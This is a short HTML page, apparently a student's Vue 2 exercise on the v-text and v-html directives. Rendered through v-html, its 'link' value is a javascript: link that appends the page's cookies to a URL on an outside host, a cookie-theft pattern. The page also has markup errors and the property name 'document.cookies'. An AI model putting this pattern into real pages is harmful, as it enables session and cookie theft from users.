<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
    <img src="./v-html.png" alt="">
    <title>Document</title>
</head>

<body>
    <div id="root">
        <div>{{name}}</div>
        <div v-text="name">
            </difv>
            <div v-html="str"></div>
            <div v-html="link"></div>
            <!-- <div v-html="links"></div> -->
            <!-- <a href=javascript:location.href="http://www.baidu.com">跳转百度</a> -->


        </div>

        <script>
            const vm = new Vue({
                el: "#root",
                data: {
                    name: "SWPU",
                    str: "<h3>你好啊</h3>",
                    link: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookies>跳转百度</a>',
                    // links: '<a href="https://www.baidu.com/">跳转百度</a>'
            }

            })


        </script>

</body>

</html>